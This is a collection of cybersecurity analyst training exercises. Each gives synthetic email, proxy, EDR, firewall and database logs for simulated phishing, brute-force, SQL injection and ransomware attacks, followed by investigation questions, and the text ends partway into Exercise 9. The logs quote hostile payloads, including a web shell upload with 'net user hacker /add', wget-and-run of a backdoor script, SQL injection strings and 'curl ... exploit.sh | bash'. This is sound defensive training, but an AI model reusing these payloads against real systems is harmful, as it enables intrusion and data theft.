# CYBERSECURITY ANALYST LOGS ANALYSIS EXERCISES: QUESTIONS AND ANSWERS

## BY IZZMIER IZZUDDIN

## TABLE OF CONTENTS

## EXERCISE 1: ADVANCED PHISHING ATTACK FOLLOWED BY MALICIOUS FILE DOWNLOAD AND LATERAL MOVEMENT

**Scenario:** A phishing email sent to an employee led to a successful malware download. The malware established persistence, executed a malicious payload and attempted lateral movement. Analysts need to trace the attack path, identify IOCs (Indicators of Compromise) and provide recommendations to prevent future attacks.

### Logs

#### Log 1: Email Gateway Logs

```
2024-11-12 08:45:23, MXGateway01, INFO, Email Received, From: iffah@external-email.com, To: izzmier@company.com, Subject: Urgent Invoice, Attachment: invoice123.pdf

2024-11-12 08:45:25, MXGateway01, INFO, Attachment Scan, Attachment: invoice123.pdf, Scan Result: Passed

2024-11-12 08:47:15, MXGateway01, INFO, Email Delivered, To: izzmier@company.com, Subject: Urgent Invoice
```

#### Log 2: Web Proxy Logs

```
2024-11-12 08:55:43, Proxy01, ALLOWED, User: izzmier, URL: http://malicious-domain.com/download/payload.exe, Status: 200 OK, Category: Unknown, Risk: High

2024-11-12 08:56:12, Proxy01, BLOCKED, User: izzmier, URL: http://malicious-domain.com/command-center, Status: 403 Forbidden, Category: Unknown, Risk: High
```

#### Log 3: Endpoint Detection and Response (EDR) Logs

```
2024-11-12 09:05:22, EDRAgent_IzzmierLaptop, MALWARE_DETECTED, File: C:\Users\Izzmier\Downloads\payload.exe, MD5: a5b1c3d12345f6789e0d1a2b345c6789, Action: Quarantined

2024-11-12 09:06:35, EDRAgent_IzzmierLaptop, PROCESS_LAUNCH, Parent: explorer.exe, Process: rundll32.exe, File: C:\Users\Izzmier\AppData\Roaming\malicious.dll

2024-11-12 09:07:44, EDRAgent_IzzmierLaptop, NETWORK_CONNECTION, Destination IP: 192.168.50.102, Port: 445, Protocol: SMB, Status: Allowed
```

```
2024-11-12 09:08:20, EDRAgent_IzzmierLaptop, NETWORK_CONNECTION, Destination IP: 192.168.50.103, Port: 3389, Protocol: RDP, Status: Allowed

2024-11-12 09:09:15, EDRAgent_IzzmierLaptop, SUSPICIOUS_ACTIVITY, Description: Attempted privilege escalation, File: C:\Users\Izzmier\AppData\Roaming\malicious.dll
```

**Log 4: Windows Event Logs (Security)**

```
2024-11-12 09:05:45, WinEvent_IzzmierLaptop, EventID: 4625, Failed Logon, Account: izzmier, Logon Type: 3 (Network), Source: 192.168.50.103, Status: 0xC000006A

2024-11-12 09:06:22, WinEvent_IzzmierLaptop, EventID: 4624, Successful Logon, Account: izzmier, Logon Type: 3 (Network), Source: 192.168.50.103, Status: 0x0

2024-11-12 09:08:45, WinEvent_IzzmierLaptop, EventID: 4673, Privilege Use Attempt, Account: izzmier, Privilege: SeDebugPrivilege, Status: Success

2024-11-12 09:09:30, WinEvent_IzzmierLaptop, EventID: 4688, New Process Created, Account: izzmier, Process Name: C:\Windows\System32\cmd.exe, Command Line: /c echo malicious activity detected
```

**Log 5: Network Logs**

```
2024-11-12 09:06:48, Firewall01, ALLOW, Src IP: 192.168.50.102, Src Port: 5678, Dst IP: 192.168.50.103, Dst Port: 445, Protocol: TCP

2024-11-12 09:08:13, Firewall01, ALLOW, Src IP: 192.168.50.103, Src Port: 3389, Dst IP: 192.168.50.105, Dst Port: 3389, Protocol: RDP

2024-11-12 09:09:59, Firewall01, BLOCK, Src IP: 192.168.50.105, Src Port: 54321, Dst IP: 192.168.50.108, Dst Port: 22, Protocol: SSH
```

**QUESTIONS**

1. **Identify the entry point of the attack.**
2. **What malicious activity was detected on the user’s endpoint?**
3. **Was there any lateral movement observed?**
4. **What IOCs should be identified and blocked?**

5. **Recommend immediate containment actions.**
6. **Identify the techniques used by the attacker for persistence and privilege escalation.**
7. **Trace the command-and-control (C2) activity. How did the attacker communicate with the infected endpoint?**
8. **What was the purpose of the SMB and RDP connections observed in the logs?**
9. **Analyse the risk of privilege escalation attempts based on log entries.**
10. **Provide an action plan to improve detection and prevention for this attack.**

## EXERCISE 2: BRUTE-FORCE ATTACK FOLLOWED BY SUCCESSFUL EXPLOITATION OF AN UNPATCHED VULNERABILITY TO GAIN REMOTE ACCESS

**Scenario:** The attacker conducted a brute-force attack against the company’s VPN, followed by exploiting a known vulnerability in an exposed web server. This resulted in unauthorised access and malicious actions on the compromised server. Analysts must trace the attack path, identify indicators and provide recommendations to mitigate similar incidents in the future.

### Logs

### Log 1: VPN Authentication Logs

```
2024-11-14 10:15:23, VPNGateway01, LOGIN_ATTEMPT, Username: rooney, IP: 203.0.113.54, Result: Failed, Reason: Incorrect Password

2024-11-14 10:15:30, VPNGateway01, LOGIN_ATTEMPT, Username: rooney, IP: 203.0.113.54, Result: Failed, Reason: Incorrect Password

2024-11-14 10:15:37, VPNGateway01, LOGIN_ATTEMPT, Username: rooney, IP: 203.0.113.54, Result: Failed, Reason: Incorrect Password

2024-11-14 10:16:05, VPNGateway01, LOGIN_ATTEMPT, Username: admin, IP: 203.0.113.54, Result: Success
```

### Log 2: Web Server Access Logs

```
2024-11-14 10:17:43, WebServer01, GET, /login.jsp, User-Agent: Mozilla/5.0, IP: 203.0.113.54, Status: 200 OK

2024-11-14 10:18:05, WebServer01, POST, /admin/upload.jsp, User-Agent: Mozilla/5.0, IP: 203.0.113.54, Status: 200 OK, Data: filename=shell.jsp

2024-11-14 10:18:15, WebServer01, GET, /uploads/shell.jsp, User-Agent: Mozilla/5.0, IP: 203.0.113.54, Status: 200 OK

2024-11-14 10:18:21, WebServer01, POST, /uploads/shell.jsp, User-Agent: Mozilla/5.0, IP: 203.0.113.54, Command: whoami

2024-11-14 10:18:23, WebServer01, RESPONSE, Command Output: www-data

2024-11-14 10:18:30, WebServer01, POST, /uploads/shell.jsp, User-Agent: Mozilla/5.0, IP: 203.0.113.54, Command: net user hacker /add
```

```
2024-11-14 10:18:35, WebServer01, RESPONSE, Command Output: User account added
```

**Log 3: Network Firewall Logs**

```
2024-11-14 10:20:10, Firewall01, ALLOW, Src IP: 203.0.113.54, Src Port: 54321, Dst IP: 192.168.1.10, Dst Port: 22, Protocol: SSH

2024-11-14 10:20:15, Firewall01, BLOCK, Src IP: 203.0.113.54, Src Port: 54321, Dst IP: 192.168.1.11, Dst Port: 3389, Protocol: RDP

2024-11-14 10:20:25, Firewall01, ALLOW, Src IP: 203.0.113.54, Src Port: 54321, Dst IP: 192.168.1.12, Dst Port: 80, Protocol: HTTP
```

**Log 4: Web Server Event Logs**

```
2024-11-14 10:18:35, WebServer01, PRIVILEGE_ESCALATION, Action: Add User, Username: hacker, Privilege Level: Administrator, Status: Success

2024-11-14 10:18:45, WebServer01, NEW_CONNECTION, Src IP: 203.0.113.54, Dst IP: 192.168.1.10, Protocol: SSH, Status: Connected

2024-11-14 10:18:55, WebServer01, FILE_MODIFICATION, File: /etc/passwd, Modification Type: Append, Status: Success

2024-11-14 10:19:05, WebServer01, PROCESS_EXECUTION, Process: /bin/bash, User: hacker, Command: wget http://malicious-domain.com/backdoor.sh, Status: Success

2024-11-14 10:19:20, WebServer01, PROCESS_EXECUTION, Process: /bin/bash, User: hacker, Command: chmod +x backdoor.sh && ./backdoor.sh, Status: Success
```

**Log 5: Intrusion Detection System (IDS) Logs**

```
2024-11-14 10:19:30, IDS01, ALERT, Signature: Suspicious File Download, Src IP: 203.0.113.54, Dst IP: 192.168.1.10, File: backdoor.sh, Severity: High

2024-11-14 10:19:45, IDS01, ALERT, Signature: Unusual SSH Activity, Src IP: 203.0.113.54, Dst IP: 192.168.1.10, Action: Alert Only, Severity: Medium

2024-11-14 10:20:00, IDS01, ALERT, Signature: Privilege Escalation, Src IP: 203.0.113.54, Dst IP: 192.168.1.10, Severity: Critical
```

**QUESTIONS**

1. **Identify the initial access method used by the attacker.**
2. **What actions did the attacker perform on the web server after gaining access?**
3. **What indicators suggest malicious activity on the web server?**
4. **What IP addresses and domains are associated with the attack?**
5. **What immediate actions should be taken to contain the attack?**
6. **Analyse how the attacker escalated privileges on the web server.**
7. **Identify the command-and-control (C2) activity. How did the attacker maintain persistence?**
8. **Evaluate the attacker's lateral movement attempts. Were any successful?**
9. **What additional security measures could have prevented this attack?**
10. **Recommend an action plan to enhance detection and response for similar incidents.**

## EXERCISE 3: PHISHING ATTACK THAT LEADS TO A RANSOMWARE INFECTION

**Scenario:** The attack begins with a phishing email that contains a malicious link. An employee clicks the link, unknowingly downloading ransomware, which encrypts files on the system and spreads laterally. The analysts must examine email, web access, system and network logs to trace the infection and recommend preventive and containment measures.

### Logs

### Log 1: Email Gateway Logs

```
2024-11-14 09:32:12, EmailGateway01, FROM: attacker@phishingsite.com, TO: employee1@company.com, Subject: "Urgent! Invoice attached", Attachment: "invoice_payment.exe", Result: Delivered

2024-11-14 09:33:00, EmailGateway01, FROM: attacker@phishingsite.com, TO: employee2@company.com, Subject: "Action Required! Password Reset", Attachment: None, Link: http://malicious-site.com/reset

2024-11-14 09:34:15, EmailGateway01, FROM: attacker@phishingsite.com, TO: employee3@company.com, Subject: "Payment Receipt", Attachment: "receipt_payment.pdf", Result: Quarantined
```

### Log 2: Web Proxy Logs

```
2024-11-14 09:35:45, WebProxy01, GET, http://malicious-site.com/reset, Src IP: 192.168.2.12, User-Agent: Mozilla/5.0, Status: 200 OK

2024-11-14 09:36:00, WebProxy01, GET, http://malicious-site.com/invoice_payment.exe, Src IP: 192.168.2.12, User-Agent: Mozilla/5.0, Status: 200 OK, Downloaded: invoice_payment.exe

2024-11-14 09:36:30, WebProxy01, POST, http://malicious-site.com/command, Src IP: 192.168.2.12, Data: {"cmd": "download ransomware"}
```

### Log 3: Endpoint Detection and Response (EDR) Logs

```
2024-11-14 09:37:12, Workstation001, PROCESS_CREATION, Executable: invoice_payment.exe, User: employee1, Src IP: 192.168.2.12, Status: Success
```

```
2024-11-14 09:37:30, Workstation001, FILE_CREATION, File: ransomware_payload.exe, Path: C:\Users\employee1\AppData\Local\Temp, Status: Created

2024-11-14 09:38:15, Workstation001, PROCESS_EXECUTION, Executable: ransomware_payload.exe, User: employee1, Privileges: Admin, Status: Success

2024-11-14 09:39:20, Workstation001, FILE_MODIFICATION, File: C:\Users\employee1\Documents\*, Modification Type: Encrypt, Status: Success

2024-11-14 09:40:00, Workstation001, NETWORK_CONNECTION, Src IP: 192.168.2.12, Dst IP: 192.168.2.13, Protocol: SMB, Action: Access Shared Folders
```

### Log 4: Network Traffic Logs

```
2024-11-14 09:39:50, Firewall01, ALLOW, Src IP: 192.168.2.12, Dst IP: 192.168.2.13, Dst Port: 445, Protocol: SMB, Duration: 5 seconds

2024-11-14 09:40:05, Firewall01, BLOCK, Src IP: 192.168.2.12, Dst IP: 192.168.2.15, Dst Port: 3389, Protocol: RDP, Action: Blocked by Policy

2024-11-14 09:41:10, Firewall01, ALLOW, Src IP: 192.168.2.12, Dst IP: 203.0.113.100, Dst Port: 443, Protocol: HTTPS, Action: Allowed
```

### Log 5: Ransomware Process and Error Logs

```
2024-11-14 09:39:30, RansomwareProcess, STATUS, Encryption Start: C:\Users\employee1\Documents

2024-11-14 09:40:25, RansomwareProcess, STATUS, Encryption Complete: C:\Users\employee1\Documents

2024-11-14 09:41:00, RansomwareProcess, STATUS, Encryption Start: C:\Shared, Status: Partial Access

2024-11-14 09:41:45, RansomwareProcess, ERROR, Access Denied: Dst IP 192.168.2.15, Dst Port 3389, Protocol: RDP, Status: Blocked

2024-11-14 09:42:00, RansomwareProcess, STATUS, Ransom Note Created: C:\Users\employee1\Desktop\READ_ME.txt
```

### QUESTIONS

1. **What was the initial access method used by the attacker?**
2. **What activity occurred after the employee clicked the phishing link?**
3. **Identify any indicators of compromise (IOCs) based on the logs.**
4. **What files or folders were targeted by the ransomware?**
5. **What immediate containment steps should be taken?**
6. **Identify how the ransomware spread across the network.**
7. **What techniques were used by the attacker to elevate privileges on the compromised machine?**
8. **Analyse the network traffic to identify any command-and-control (C2) activities.**
9. **What steps can be implemented to improve detection of similar threats in the future?**
10. **Based on the logs, what indicators suggest this is ransomware and not a different type of malware?**

## EXERCISE 4: SQL INJECTION ATTACK THAT LEADS TO UNAUTHORISED DATABASE ACCESS

**Scenario:** The attacker exploits an SQL injection vulnerability in the company's web application. By sending crafted requests, the attacker gains access to sensitive data from the company's database. This exercise includes web access, database and firewall logs, requiring analysts to trace the attack from initial exploitation to data access and potential exfiltration.

### Logs

### Log 1: Web Server Logs

```
2024-11-14 14:05:32, WebServer01, GET /product?id=123, Status: 200, User-Agent: Mozilla/5.0, Src IP: 198.51.100.20

2024-11-14 14:06:02, WebServer01, GET /product?id=123 OR 1=1--, Status: 200, User-Agent: Mozilla/5.0, Src IP: 198.51.100.20

2024-11-14 14:06:35, WebServer01, GET /product?id=123 UNION SELECT username, password FROM users--, Status: 200, User-Agent: Mozilla/5.0, Src IP: 198.51.100.20

2024-11-14 14:07:10, WebServer01, GET /product?id=999; DROP TABLE orders--, Status: 500, User-Agent: Mozilla/5.0, Src IP: 198.51.100.20

2024-11-14 14:07:45, WebServer01, GET /product?id=123 UNION SELECT credit_card_number, expiry_date FROM payments--, Status: 200, User-Agent: Mozilla/5.0, Src IP: 198.51.100.20
```

### Log 2: Database Logs

```
2024-11-14 14:06:35, DBServer01, QUERY, SELECT * FROM products WHERE id=123 OR 1=1--, User: webapp_user, Src IP: 198.51.100.20, Result: Successful

2024-11-14 14:07:00, DBServer01, QUERY, SELECT username, password FROM users, User: webapp_user, Src IP: 198.51.100.20, Result: Successful

2024-11-14 14:07:10, DBServer01, QUERY, SELECT * FROM products WHERE id=999; DROP TABLE orders--, User: webapp_user, Src IP: 198.51.100.20, Result: Failed

2024-11-14 14:07:45, DBServer01, QUERY, SELECT credit_card_number, expiry_date FROM payments, User: webapp_user, Src IP: 198.51.100.20, Result: Successful
```

```
2024-11-14 14:08:10, DBServer01, QUERY, INSERT INTO logs (activity, status) VALUES ('SQL Injection Detected', 'Blocked'), User: system, Status: Successful
```

**Log 3: Firewall Logs**

```
2024-11-14 14:05:30, Firewall01, ALLOW, Src IP: 198.51.100.20, Dst IP: 203.0.113.55, Dst Port: 443, Protocol: HTTPS

2024-11-14 14:06:10, Firewall01, ALLOW, Src IP: 198.51.100.20, Dst IP: 203.0.113.55, Dst Port: 80, Protocol: HTTP

2024-11-14 14:07:20, Firewall01, BLOCK, Src IP: 198.51.100.20, Dst IP: 203.0.113.55, Dst Port: 3306, Protocol: MySQL, Reason: Policy Violation

2024-11-14 14:07:50, Firewall01, ALLOW, Src IP: 198.51.100.20, Dst IP: 203.0.113.55, Dst Port: 443, Protocol: HTTPS

2024-11-14 14:08:00, Firewall01, ALLOW, Src IP: 203.0.113.55, Dst IP: 198.51.100.20, Dst Port: 443, Protocol: HTTPS, Outbound Data: 500KB
```

**Log 4: Application Error Logs**

```
2024-11-14 14:07:15, WebApp01, ERROR, Potential SQL Injection detected: 'id=999; DROP TABLE orders--', Src IP: 198.51.100.20, Action: Alert Raised

2024-11-14 14:07:20, WebApp01, ERROR, Unauthorised access attempt to sensitive fields in 'users' table, Src IP: 198.51.100.20, Action: Logged

2024-11-14 14:08:10, WebApp01, ALERT, SQL Injection Prevention Triggered, Src IP: 198.51.100.20, Action: Blocked

2024-11-14 14:08:30, WebApp01, ALERT, IP Blocked due to SQL Injection Attempts, Src IP: 198.51.100.20, Duration: 1 hour
```

**QUESTIONS**

1. **What type of attack was attempted in this scenario?**
2. **What was the initial suspicious activity in the web server logs?**
3. **What specific data did the attacker try to access?**

4. **Was the attacker able to manipulate the database?**
5. **What immediate steps should be taken to contain this attack?**
6. **What specific indicators suggest this is an SQL injection attack?**
7. **What attempts did the attacker make to further exploit the database?**
8. **What data was potentially exposed or exfiltrated based on the firewall logs?**
9. **How could this SQL injection vulnerability have been prevented?**
10. **Based on this incident, what further recommendations would you make for securing the web application and database?**

## EXERCISE 5: BRUTE FORCE ATTACK TARGETING REMOTE DESKTOP PROTOCOL (RDP) ACCESS, WHICH ESCALATES TO CREDENTIAL COMPROMISE AND UNAUTHORISED ACCESS

**Scenario:** The attacker conducts a brute force attack on the RDP service, repeatedly attempting to log in with different usernames and passwords. After successfully accessing an account, they move laterally within the network, download sensitive files and attempt to establish persistence.

### Logs

### Log 1: RDP Access Logs

```
2024-11-14 01:00:05, Server01, RDP Attempt, Username: admin, Status: Failed, Src IP: 203.0.113.50

2024-11-14 01:00:10, Server01, RDP Attempt, Username: admin, Status: Failed, Src IP: 203.0.113.50

2024-11-14 01:00:15, Server01, RDP Attempt, Username: admin, Status: Failed, Src IP: 203.0.113.50

2024-11-14 01:00:20, Server01, RDP Attempt, Username: admin, Status: Failed, Src IP: 203.0.113.50

2024-11-14 01:00:25, Server01, RDP Attempt, Username: user1, Status: Failed, Src IP: 203.0.113.50

2024-11-14 01:10:30, Server01, RDP Attempt, Username: admin, Status: Success, Src IP: 203.0.113.50

2024-11-14 01:11:00, Server01, RDP Session Started, Username: admin, Src IP: 203.0.113.50
```

### Log 2: Windows Event Logs

```
2024-11-14 01:11:05, Server01, Event ID 4624, Successful Logon, Username: admin, Src IP: 203.0.113.50

2024-11-14 01:11:15, Server01, Event ID 4672, Special Privileges Assigned, Username: admin
```

```
2024-11-14 01:12:30, Server01, Event ID 5140, Network Share Access, Accessed: \\Server01\C$\Sensitive_Files, Username: admin, Src IP: 203.0.113.50

2024-11-14 01:13:00, Server01, Event ID 4663, Access Attempt to Sensitive_Files.docx, Result: Success, Username: admin, Src IP: 203.0.113.50

2024-11-14 01:14:00, Server01, Event ID 4720, New Account Created, Username: attacker_user, Created by: admin, Src IP: 203.0.113.50

2024-11-14 01:15:00, Server01, Event ID 4722, Account Enabled, Username: attacker_user, Enabled by: admin, Src IP: 203.0.113.50

2024-11-14 01:16:30, Server01, Event ID 4634, Logoff, Username: admin, Src IP: 203.0.113.50
```

**Log 3: Firewall Logs**

```
2024-11-14 01:00:00, Firewall01, ALLOW, Src IP: 203.0.113.50, Dst IP: 192.168.1.10, Dst Port: 3389, Protocol: RDP

2024-11-14 01:00:10, Firewall01, ALLOW, Src IP: 203.0.113.50, Dst IP: 192.168.1.10, Dst Port: 3389, Protocol: RDP

2024-11-14 01:10:30, Firewall01, ALLOW, Src IP: 203.0.113.50, Dst IP: 192.168.1.10, Dst Port: 3389, Protocol: RDP

2024-11-14 01:11:00, Firewall01, ALLOW, Src IP: 203.0.113.50, Dst IP: 192.168.1.10, Dst Port: 445, Protocol: SMB

2024-11-14 01:12:30, Firewall01, ALLOW, Src IP: 203.0.113.50, Dst IP: 192.168.1.10, Dst Port: 445, Protocol: SMB
```

**Log 4: Application Logs**

```
2024-11-14 01:13:05, FileMonitor, ALERT, Sensitive file accessed: Sensitive_Files.docx, Accessed by: admin, Src IP: 203.0.113.50

2024-11-14 01:14:30, UserMgmtApp, WARNING, New user account created: attacker_user, Created by: admin

2024-11-14 01:15:10, UserMgmtApp, INFO, User account attacker_user enabled by admin
```

```
2024-11-14 01:16:00, FileMonitor, INFO, Logoff Event Recorded for: admin, Src IP: 203.0.113.50
```

## QUESTIONS

1. **What type of attack is suggested by the logs?**
2. **What was the source IP for the attack?**
3. **How many failed login attempts occurred before a successful RDP login?**
4. **What sensitive actions did the attacker perform after logging in?**
5. **What immediate actions should be taken to contain this attack?**
6. **What specific indicators show this is a brute force attack on RDP?**
7. **How did the attacker establish persistence on the compromised server?**
8. **What critical resources were accessed and what implications might this have?**
9. **What defensive actions could have helped prevent this attack?**
10. **Based on this incident, what recommendations would you provide to improve RDP security?**

## EXERCISE 6: PHISHING ATTACK LEADING TO MALWARE INSTALLATION

**Scenario Overview:** A user received a phishing email containing a malicious attachment. After opening the attachment, a malware payload was downloaded and executed, leading to suspicious outbound connections as the malware attempted to communicate with a command-and-control (C2) server. This scenario covers email logs, endpoint detection and response (EDR) alerts, network traffic and firewall logs.

### Logs

### Log 1: Email Gateway Logs

```
2024-11-14 08:00:00, EmailGateway01, Inbound Email, From: attacker@malicious.com, To: employee@company.com, Subject: Urgent Invoice, Attachment: invoice.doc

2024-11-14 08:00:02, EmailGateway01, Attachment Scanned, Result: Clean, File: invoice.doc

2024-11-14 08:00:05, EmailGateway01, Email Delivered, To: employee@company.com
```

### Log 2: Endpoint Detection and Response (EDR) Alerts

```
2024-11-14 08:05:10, Workstation01, Alert, Suspicious Process Spawned, Process: winword.exe, Parent: explorer.exe, User: employee

2024-11-14 08:05:12, Workstation01, Alert, Macro Execution Detected, File: C:\Users\employee\Downloads\invoice.doc, Process: winword.exe

2024-11-14 08:05:15, Workstation01, Alert, Malicious Script Execution, File: powershell.exe, Action: Download File from hxxp://malicious-site.com/payload.exe

2024-11-14 08:05:20, Workstation01, Alert, New Process Created, Process: payload.exe, MD5: abcd1234efgh5678

2024-11-14 08:05:30, Workstation01, Alert, Unauthorised Registry Modification, Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run, Value: payload.exe
```

### Log 3: Network Logs

```
2024-11-14 08:05:22, Firewall01, ALLOW, Src IP: 192.168.1.20, Dst IP: 203.0.113.80, Dst Port: 80, Protocol: HTTP, Domain: malicious-site.com
```

```
2024-11-14 08:05:25, Firewall01, ALLOW, Src IP: 192.168.1.20, Dst IP: 203.0.113.80, Dst Port: 443, Protocol: HTTPS, Domain: malicious-site.com

2024-11-14 08:05:35, Firewall01, ALLOW, Src IP: 192.168.1.20, Dst IP: 198.51.100.55, Dst Port: 8080, Protocol: HTTP, Domain: command-and-control.com

2024-11-14 08:06:00, Firewall01, BLOCK, Src IP: 192.168.1.20, Dst IP: 198.51.100.55, Dst Port: 8080, Protocol: HTTP, Domain: command-and-control.com
```

**Log 4: Windows Security Logs**

```
2024-11-14 08:05:45, Workstation01, Event ID 4688, New Process Created, User: employee, Process Name: C:\Users\employee\AppData\Roaming\payload.exe

2024-11-14 08:05:55, Workstation01, Event ID 4657, Registry Value Modified, Key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run, New Value: payload.exe

2024-11-14 08:06:15, Workstation01, Event ID 4625, Failed Logon Attempt, User: attacker_user, Logon Type: 3, Src IP: 203.0.113.80

2024-11-14 08:06:30, Workstation01, Event ID 4648, Logon Attempt with Explicit Credentials, User: employee, Process Name: powershell.exe, Src IP: 203.0.113.80
```

**QUESTIONS**

1. **What type of attack is evident from the logs?**
2. **What triggered the initial malware activity on the workstation?**
3. **Which process was responsible for downloading the malicious payload?**
4. **What is the IP address of the user's workstation?**
5. **What immediate containment steps should be taken?**
6. **Identify the indicators of compromise (IOCs) in this attack.**
7. **What persistence mechanism did the malware use on the workstation?**
8. **What is the significance of the outbound connection to command-and-control.com?**
9. **Describe the potential impact of this malware if not contained.**

10. **Based on these logs, what additional investigation steps would you recommend?**

## EXERCISE 7: BRUTE FORCE ATTACK LEADING TO UNAUTHORISED ACCESS AND DATA EXFILTRATION

**Scenario:** An attacker used a brute-force method to guess credentials on a remote desktop protocol (RDP) service. After successfully logging in, the attacker executed commands to disable security controls and exfiltrated sensitive data. The scenario includes Windows Security Event logs, VPN logs and firewall logs.

### Logs

### Log 1: VPN Server Logs

```
2024-11-14 02:00:01, VPN01, Login Failed, User: administrator, IP: 185.53.88.101, Reason: Incorrect Password

2024-11-14 02:00:05, VPN01, Login Failed, User: administrator, IP: 185.53.88.101, Reason: Incorrect Password

2024-11-14 02:00:10, VPN01, Login Failed, User: administrator, IP: 185.53.88.101, Reason: Incorrect Password

...

2024-11-14 02:02:15, VPN01, Login Successful, User: administrator, IP: 185.53.88.101
```

### Log 2: Windows Security Logs (Unauthorised Access Activity)

```
2024-11-14 02:03:00, Workstation02, Event ID 4624, Successful Logon, User: administrator, Logon Type: 10 (RemoteInteractive), Src IP: 185.53.88.101

2024-11-14 02:03:10, Workstation02, Event ID 4720, New User Account Created, User: temp_admin, Created by: administrator

2024-11-14 02:03:30, Workstation02, Event ID 4738, Account Disabled, User: sec_audit, Modified by: administrator

2024-11-14 02:04:00, Workstation02, Event ID 5140, Network Share Accessed, User: administrator, Resource: \\server\confidential_data

2024-11-14 02:04:15, Workstation02, Event ID 4656, Access to Object, User: administrator, Object: C:\sensitive_info\client_list.xlsx, Access: Read
```

**Log 3: Network Logs (Data Exfiltration)**

```
2024-11-14 02:04:30, Firewall01, ALLOW, Src IP: 192.168.1.15, Dst IP: 192.0.2.56, Dst Port: 443, Protocol: HTTPS, Domain: upload-files.com

2024-11-14 02:04:45, Firewall01, ALLOW, Src IP: 192.168.1.15, Dst IP: 192.0.2.56, Dst Port: 443, Protocol: HTTPS, Domain: upload-files.com

2024-11-14 02:05:00, Firewall01, ALLOW, Src IP: 192.168.1.15, Dst IP: 192.0.2.56, Dst Port: 443, Protocol: HTTPS, Domain: upload-files.com
```

**Log 4: Windows Event Logs (Privilege Escalation and Persistence)**

```
2024-11-14 02:03:50, Workstation02, Event ID 4672, Special Privileges Assigned, User: temp_admin, Privileges: SeDebugPrivilege, SeTakeOwnershipPrivilege

2024-11-14 02:04:10, Workstation02, Event ID 4697, Service Installed, User: administrator, Service: SuspiciousUpdater, Path: C:\temp\suspicious_updater.exe

2024-11-14 02:04:20, Workstation02, Event ID 4688, New Process Created, User: temp_admin, Process Name: C:\temp\suspicious_updater.exe
```

**QUESTIONS**

1. **What indicators in the logs suggest a brute-force attack?**
2. **What was the first suspicious action taken after the unauthorised login?**
3. **Which network domain suggests possible data exfiltration activity?**
4. **What immediate containment steps should be taken in response to this attack?**
5. **Which process was created by the attacker for potential persistence?**
6. **Identify the indicators of compromise (IOCs) in this attack.**
7. **How did the attacker escalate privileges on the compromised workstation?**
8. **What specific data appears to have been targeted by the attacker?**
9. **What is the significance of the Event ID 4697 (Service Installed) in this attack?**
10. **What additional investigation steps should be conducted following this incident?**

## EXERCISE 8: PHISHING ATTACK LEADING TO CREDENTIAL HARVESTING AND LATERAL MOVEMENT

**Scenario:** An attacker sends a phishing email with a link to a fake Microsoft 365 login page. An employee enters credentials, which are harvested by the attacker. The attacker uses these credentials to access the employee's email, search for sensitive information and attempts to move laterally across the network.

### Logs

### Log 1: Email Gateway Logs (Phishing Email)

```
2024-11-14 10:15:30, EmailGateway01, Incoming Email, From: hr-department@company-updates.com, To: employee@company.com, Subject: "Important Security Update"

2024-11-14 10:15:31, EmailGateway01, Link Detected, Link: http://microsoft-login-security.com/login, Category: Suspicious, Email_ID: 12345

2024-11-14 10:15:32, EmailGateway01, Attachment: None, SPF/DKIM: Passed, Flag: Low Confidence Phishing
```

### Log 2: Web Proxy Logs (Credential Harvesting)

```
2024-11-14 10:17:00, Proxy01, ALLOW, Src IP: 192.168.1.45, Dst IP: 172.217.7.68, URL: http://microsoft-login-security.com/login, Category: Phishing, User-Agent: Chrome/95.0

2024-11-14 10:17:15, Proxy01, POST, Src IP: 192.168.1.45, Dst IP: 172.217.7.68, URL: http://microsoft-login-security.com/submit, Data: {Username: employee@company.com, Password: ********}
```

### Log 3: Authentication Logs (Suspicious Email Access)

```
2024-11-14 10:30:01, MailServer, Login Successful, User: employee@company.com, IP: 198.51.100.5 (Suspicious External IP)

2024-11-14 10:30:15, MailServer, Search Executed, User: employee@company.com, Keywords: "Confidential", "Financial Data", "Passwords"

2024-11-14 10:30:45, MailServer, Email Accessed, User: employee@company.com, Subject: "Monthly Financial Report", Sender: finance@company.com
```

```
2024-11-14 10:31:15, MailServer, Email Accessed, User: employee@company.com, Subject: "Employee Password List", Sender: hr@company.com
```

**Log 4: Windows Security Logs (Lateral Movement Attempts)**

```
2024-11-14 10:35:00, Workstation03, Event ID 4624, Successful Logon, User: employee@company.com, Logon Type: 3 (Network), Src IP: 192.168.1.45

2024-11-14 10:35:15, Workstation03, Event ID 4672, Special Privileges Assigned, User: employee@company.com, Privileges: SeRemoteInteractiveLogonRight

2024-11-14 10:35:30, Workstation03, Event ID 4723, Attempted Password Change, User: employee@company.com, Target Account: admin@company.com, Status: Failed

2024-11-14 10:36:00, Workstation03, Event ID 5140, Network Share Accessed, User: employee@company.com, Resource: \\server01\confidential
```

**Log 5: Firewall Logs (Data Exfiltration Attempt)**

```
2024-11-14 10:40:00, Firewall01, ALLOW, Src IP: 192.168.1.45, Dst IP: 198.51.100.5, Dst Port: 443, Protocol: HTTPS, Domain: fileshare-upload.com

2024-11-14 10:40:10, Firewall01, ALLOW, Src IP: 192.168.1.45, Dst IP: 198.51.100.5, Dst Port: 443, Protocol: HTTPS, Domain: fileshare-upload.com

2024-11-14 10:40:20, Firewall01, ALLOW, Src IP: 192.168.1.45, Dst IP: 198.51.100.5, Dst Port: 443, Protocol: HTTPS, Domain: fileshare-upload.com
```

**QUESTIONS**

1. **What indications suggest this was a phishing attack?**
2. **What was the attacker's goal with the phishing email?**
3. **What external IP appears suspicious in the authentication logs?**
4. **What actions did the attacker take after accessing the employee's email?**
5. **What network activity indicates a possible data exfiltration attempt?**
6. **Identify the Indicators of Compromise (IOCs) observed in this attack.**

7. **How did the attacker attempt to move laterally within the network?**
8. **What failed action by the attacker indicates attempted privilege escalation?**
9. **What proactive measures could prevent such phishing attacks from succeeding?**
10. **What additional investigation steps should be taken to assess the extent of the compromise?**

## EXERCISE 9: RANSOMWARE ATTACK THROUGH EXPLOIT OF UNPATCHED VULNERABILITY

**Scenario:** An attacker exploits an unpatched vulnerability on a company's web server. Using remote access, the attacker gains entry to the internal network, installs malware and begins lateral movement to reach key file servers. Eventually, the attacker encrypts files on critical servers and drops ransom notes.

### Logs

### Log 1: Web Server Logs (Initial Exploit)

```
2024-11-14 03:15:22, WebServer01, POST /login.php, Src IP: 203.0.113.52, User-Agent: Mozilla/5.0 (Linux x86_64), Status: 200, Response Size: 4125

2024-11-14 03:15:23, WebServer01, Command Injection Attempt, Src IP: 203.0.113.52, Payload: "curl http://malicious-site.com/exploit.sh | bash"

